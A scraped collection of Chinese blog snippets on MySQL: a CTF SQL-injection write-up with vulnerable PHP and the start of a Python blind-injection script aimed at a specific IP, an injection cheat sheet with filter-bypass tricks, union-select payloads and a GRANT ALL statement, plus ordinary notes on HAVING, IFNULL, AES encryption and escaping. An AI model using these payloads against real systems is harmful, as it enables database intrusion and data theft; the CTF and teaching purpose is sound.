mysql函数

CTF中常见注入题源码及脚本分析

你说的曾经没有我的故事 提交于 2019-12-25 04:39:40
1.代码审计发现 这里没有用escape_string,因此存在注入。 1 function show($username){ 2 global $conn; 3 $sql = "select role from `user` where username ='".$username."'"; 4 $res = $conn ->query($sql); 5 if($res->num_rows>0){ 6 echo "$username is ".$res->fetch_assoc()['role']; 7 }else{ 8 die("Don't have this user!"); 9 } 10 } 通过这里注入可以得到pasaword,$usename为被 单引号引起,所以应该首先注意闭合单引号。 pyhton脚本如下: 1 # --coding:utf-8-- import requests 2 url="http://117.34.111.15:89/?action=show" 3 passwd="" 4 lists="1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm" 5 for i in xrange(1,33): 6 print i 7 for p in lists: 8 param={

MySQL中having与where

为君一笑 提交于 2019-12-25 03:56:23
having与where区别: where中不可以用聚合函数(条件字段是未分组中的字段),having中可以用聚合函(条件字段是分组后字段)。不过这里也很好理解,SQL语句在执行是先执行select xxx where语句,再对结果集进行分组。 where子句用来筛选 FROM 子句中指定的操作所产生的行。 group by 子句用来分组 WHERE 子句的输出。 having 子句用来从分组的结果中筛选行 需要注意说明:当同时含有where子句、group by 子句 、having子句及聚集函数时,执行顺序如下: 执行where子句查找符合条件的数据; 使用group by 子句对数据进行分组;对group by 子句形成的组运行聚集函数计算每一组的值;最后用having 子句去掉不符合条件的组。 having 子句中的每一个元素也必须出现在select列表中。有些数据库例外,如oracle. having子句和where子句都可以用来设定限制条件以使查询结果满足一定的条件限制。 having子句限制的是组,而不是行。where子句中不能使用聚集函数,而having子句中可以。 来源: https://www.cnblogs.com/webph/p/6679707.html

Mysql中类似于nvl()函数的ifnull()函数

女生的网名这么多〃 提交于 2019-12-25 03:10:29
IFNULL(expr1,expr2) 如果expr1不是NULL,IFNULL()返回expr1,否则它返回expr2。IFNULL()返回一个数字或字符串值,取决于它被使用的上下文环境。 mysql> select IFNULL(1,0); -> 1 mysql> select IFNULL(0,10); -> 0 mysql> select IFNULL(1/0,10); -> 10 mysql> select IFNULL(1/0,'yes'); -> 'yes' IF(expr1,expr2,expr3) 如果expr1是TRUE(expr1<>0且expr1<>NULL),那么IF()返回expr2,否则它返回expr3。IF()返回一个数字或字符串值,取决于它被使用的上下文。 mysql> select IF(1>2,2,3); -> 3 mysql> select IF(1<2,'yes','no'); -> 'yes' mysql> select IF(strcmp('test','test1'),'yes','no'); -> 'no' expr1作为整数值被计算,它意味着如果你正在测试浮点或字符串值,你应该使用一个比较操作来做。 mysql> select IF(0.1,1,0); -> 0 mysql> select IF(0.1<>0,1,0); -> 1

mysql控制流程函数(case,if,ifnull,nullif)

那年仲夏 提交于 2019-12-24 13:55:18
1.case...when... 用法   参考: http://www.cnblogs.com/qlqwjy/p/7476533.html CASE value WHEN [ compare-value ] THEN result [WHEN [ compare-value ] THEN result ...] [ELSE result ] END CASE WHEN [ condition ] THEN result [WHEN [ condition ] THEN result ...] [ELSE result ] END 在第一个方案的返回结果中, value = compare-value 。而第二个方案的返回结果是第一种情况的真实结果。如果没有匹配的结果值,则返回结果为ELSE后的结果,如果没有ELSE 部分,则返回值为 NULL mysql> SELECT CASE 1 WHEN 1 THEN 'one' -> WHEN 2 THEN 'two' ELSE 'more' END; -> 'one' mysql> SELECT CASE WHEN 1>0 THEN 'true' ELSE 'false' END; -> 'true' mysql> SELECT CASE BINARY 'B' -> WHEN 'a' THEN 1 WHEN 'b' THEN 2 END

mysql数据库字段加密函数

三世轮回 提交于 2019-12-24 13:47:51
【推荐】2019 Java 开发者跳槽指南.pdf(吐血整理) >>> php程序中有内置的aes算法函数可以完成加密和解密,但aes算法有个特点:使用同样的明文和秘钥加密得到的结果每次都不一样,这是它的优点,但在做密文字符串比较的时候就会比较麻烦。 加密:先通过AES加密得到一个二进制的密文,然后把密文用HEX函数转换成16进制,最终得到的字符串长度为64位,就可以插入数据表中了 HEX(AES_ENCRYPT('15','abcdefgh')) 解密:这就要反其道而行,先转回到二进制,然后再解密 AES_DECRYPT(UNHEX(money),'abcdefgh') 表中字段被加密后,仍然可以做各种查询操作: /*在加密字段上使用统计函数*/ SELECT SUM(AES_DECRYPT(UNHEX(money),'abcdefgh')) FROM test; /*加密字段作为比较条件查询*/ SELECT * FROM test WHERE AES_DECRYPT(UNHEX(money),'abcdefgh') = 50; /*查询时获取解密后的明文*/ SELECT AES_DECRYPT(UNHEX(money),'abcdefgh') AS money FROM test; 应用场景:用户注册信息中的密码,比较敏感的财务数据等 来源: oschina 链接:

MySQL注入总结

China☆狼群 提交于 2019-12-24 13:25:49
0x00 mysql一般注入(select) 1.注释符 # /* -- 2.过滤空格注入 使用/**/或()或+代替空格 %0c = form feed, new page %09 = horizontal tab %0d = carriage return %0a = line feed, new line 3.多条数据显示 concat() group_concat() concat_ws() 4.相关函数 system_user() 系统用户名 user() 用户名 current_user 当前用户名 session_user()连接数据库的用户名 database() 数据库名 version() MYSQL数据库版本 load_file() MYSQL读取本地文件的函数 @@datadir 读取数据库路径 @@basedir MYSQL 安装路径 @@version_compile_os 操作系统 Windows Server 2003 GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION; 5.mysql一般注入语句 猜字段数 order by n/* 查看mysql基本信息 and 1=2 union select 1,2,3,concat_ws

mysql注入总结

你。 提交于 2019-12-24 13:25:28
目录: 0x00 mysql一般注入(select) 0x01 mysql一般注入(insert、update) 0x02 mysql报错注入 0x03 mysql一般盲注 0x04 mysql时间盲注 0x05 mysql其他注入技巧 0x06 mysql数据库版本特性 0x07 声明 正文: 0x00 mysql一般注入(select) 1.注释符 # /* — 2.过滤空格注入 使用/**/或()或+代替空格 %0c = form feed, new page %09 = horizontal tab %0d = carriage return %0a = line feed, new line 3.多条数据显示 concat() group_concat() concat_ws() 4.相关函数 system_user() 系统用户名 user() 用户名 current_user 当前用户名 session_user()连接数据库的用户名 database() 数据库名 version() MYSQL数据库版本 load_file() MYSQL读取本地文件的函数 @@datadir 读取数据库路径 @@basedir MYSQL 安装路径 @@version_compile_os 操作系统 Windows Server 2003 GRANT ALL PRIVILEGES

MySQL WHERE 子句

99封情书 提交于 2019-12-24 09:22:34
我们知道从 MySQL 表中使用 SQL SELECT 语句来读取数据。 如需有条件地从表中选取数据,可将 WHERE 子句添加到 SELECT 语句中。 语法 以下是 SQL SELECT 语句使用 WHERE 子句从数据表中读取数据的通用语法: SELECT field1 , field2 , . . . fieldN FROM table_name1 , table_name2 . . . [ WHERE condition1 [ AND [ OR ] ] condition2 . . . . . 查询语句中你可以使用一个或者多个表,表之间使用逗号, 分割,并使用WHERE语句来设定查询条件。 你可以在 WHERE 子句中指定任何条件。 你可以使用 AND 或者 OR 指定一个或多个条件。 WHERE 子句也可以运用于 SQL 的 DELETE 或者 UPDATE 命令。 WHERE 子句类似于程序语言中的 if 条件,根据 MySQL 表中的字段值来读取指定的数据。 以下为操作符列表,可用于 WHERE 子句中。 下表中实例假定 A 为 10, B 为 20 如果我们想在 MySQL 数据表中读取指定的数据,WHERE 子句是非常有用的。 使用主键来作为 WHERE 子句的条件查询是非常快速的。 如果给定的条件在表中没有任何匹配的记录,那么查询不会返回任何数据。

mysql基础学习二

帅比萌擦擦* 提交于 2019-12-24 04:00:39
视图 视图概念 视图是存储的查询语句,当调用的时候,产生结果集,视图充当的是虚拟表的角色。其实视图可以理解为一个表或多个表中导出来的表,作用和真实表一样,包含一系列带有行和列的数据 视图中,用户可以使用SELECT语句查询数据,也可以使用INSERT,UPDATE,DELETE修改记录,视图可以使用户操作方便,并保障数据库系统安全,如果原表改名或者删除则视图也失效。 视图操作 创建视图 语法结构: CREATE [ OR REPLACE ] VIEW [ view_name ] AS [ SELECT_STATEMENT ] ; 释义: CREATE VIEW : 创建视图 OR REPLACE : 可选,如果添加原来有同名视图的情况下会覆盖掉原有视图 view_name : 视图名称 SELECT_STATEMENT : SELECT 语句 e . g . create view c1 as select name , age from class_1 ; 视图表的增删改查操作 视图的增删改查操作与一般表的操作相同,使用insert update delete select即可,但是原数据表的约束条件仍然对视图产生作用。 删除视图 drop view [IF EXISTS] 视图名; IF EXISTS 表示如果存在,这样即使没有指定视图也不会报错。 drop view c1 ;

mysql_real_escape_string()函数的作用

▼魔方 西西 提交于 2019-12-24 00:48:52
相关函数:get_magic_quotes_gpc()在PHP5.4中已被丢弃 mysql_real_escape_string() 说明这个函数在PHP5.5中不建议使用,在将来的版本中将会被丢弃,建议使用: mysqli_real_escape_string() PDO::quote() mysql_real_escape_string()函数的作用: 防止SQL Injection攻击,也就是你必须验证用户的输入 操作数据的时候避免不必要的字符导致错误 例子:攻击的例子[1] 例子 1 <?php $con = mysql_connect("localhost", "hello", "321"); if (!$con) { die('Could not connect: ' . mysql_error()); } // 获得用户名和密码的代码 // 转义用户名和密码,以便在 SQL 中使用 $user = mysql_real_escape_string($user); $pwd = mysql_real_escape_string($pwd); $sql = "SELECT * FROM users WHERE user='" . $user . "' AND password='" . $pwd . "'" // 更多代码 mysql_close($con); ?> 例子